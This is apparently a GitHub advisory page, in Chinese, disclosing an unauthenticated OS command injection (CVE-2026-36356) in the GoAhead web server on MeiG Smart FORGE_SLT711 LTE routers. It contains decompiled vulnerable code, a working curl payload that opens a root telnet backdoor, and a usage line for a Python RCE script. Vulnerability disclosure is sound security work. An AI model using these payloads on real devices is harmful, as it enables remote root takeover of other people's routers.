totekuh/CVE-2026-36356
GitHub: totekuh/CVE-2026-36356
CVE-2026-36356漏洞披露,针对梅格智能FORGE_SLT711 4G LTE CPE路由器在GoAhead Web服务器上存在的未认证命令注入漏洞,提供Python PoC实现root权限RCE。
Stars: 0 | Forks: 0
# CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead — 未认证操作系统命令注入(`/action/SetRemoteAccessCfg`)
- **CVE**: CVE-2026-36356
- **CWE**: CWE-78, CWE-306
- **发现者**: Daniil Gordeev
- **披露日期**: 2026-05-03
## 摘要
GoAhead Web 服务器随 MeiG Smart FORGE_SLT711 4G LTE CPE 设备捆绑提供,暴露了一个未认证的 HTTP 端点 `/action/SetRemoteAccessCfg`,该端点在未进行 sanitization 的情况下将用户控制的 JSON 输入插入到 shell 命令中。单个未认证的 POST 请求即可执行任意命令,身份为 **root**。
两个独立的根本原因:缺少认证路由条目,以及处理程序中存在不安全的 `sprintf()` → `system()` 构建。
## 受影响产品
- **供应商**: 梅格智能科技有限公司(中国深圳)
- **产品**: FORGE_SLT711 4G LTE CPE 路由器
- **已确认固件**: `MDM9607.LE.1.0-00110-STD.PROD-1`(调制解调器固件 `BC-MGST711H_1.1.1_EQ101`)
- **Web 服务器**: GoAhead 3.x(Embedthis),带有梅格自定义 action 处理程序(`/usr/bin/goahead`)
漏洞代码位于梅格的自定义 action 处理程序中,而非上游 GoAhead。该产品线的其他固件版本也可能受影响;尚未独立验证。
## 测试环境
| | |
|---|---|
| 设备 | Ortel 4G LTE CPE(OEM:梅格 FORGE_SLT711)|
| SoC | 高通 MDM9607,ARMv7 Cortex-A7 |
| 内核 | Linux 3.18.48 |
| 固件 | MDM9607.LE.1.0-00110-STD.PROD-1 |
| 日期 | 2026-02-21 |
## 技术细节
### 缺少认证(CWE-306)
GoAhead 路由配置文件 `/var/www/route.txt` 列出了已认证的路由(第 64–150 行),使用 `auth=basic`。`/action/SetRemoteAccessCfg` **不在**此列表中。路由回退到第 156 行的 catch-all:
```
route uri=/action handler=action
```
该 catch-all 没有 `auth=basic`,因此任何 HTTP 客户端都可以无需凭据即可调用 `/action/SetRemoteAccessCfg`。
### 命令注入(CWE-78)
偏移量 `0x0003c6d8` 处的处理程序在 `/usr/bin/goahead` 中反编译结果为:
```
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
```
`password` 字段在双引号内进行插值。`$(...)` 替换和 `` `...` `` 反引号在双引号内会展开,因此攻击者可以控制 shell 命令。`system()` 以 `uid=0` 运行,因为 GoAhead 进程以 root 身份运行。无输入验证、无转义、无字符白名单。
## 概念验证
### 持久化 telnet 后门
```
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)
```

### 参考 Python 漏洞利用
`poc_rce.py`(与本公告一同发布):
```
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
```
漏洞利用是盲目的 — 命令输出不在 HTTP 响应中。
### 有效载荷约束
- `password` 缓冲区:64 字节
- 最终命令缓冲区:256 字节
标签:4G LTE, CISA项目, CPE路由器, CVE-2026-36356, CWE-306, CWE-78, FORGE_SLT711, GoAhead, IoT安全, JSON注入, MeiG Smart, Qualcomm, RCE, root权限, sprintf, system(), webshell, Web服务器, 命令注入, 安全漏洞, 嵌入式设备, 未授权访问, 物联网安全, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护, 零日漏洞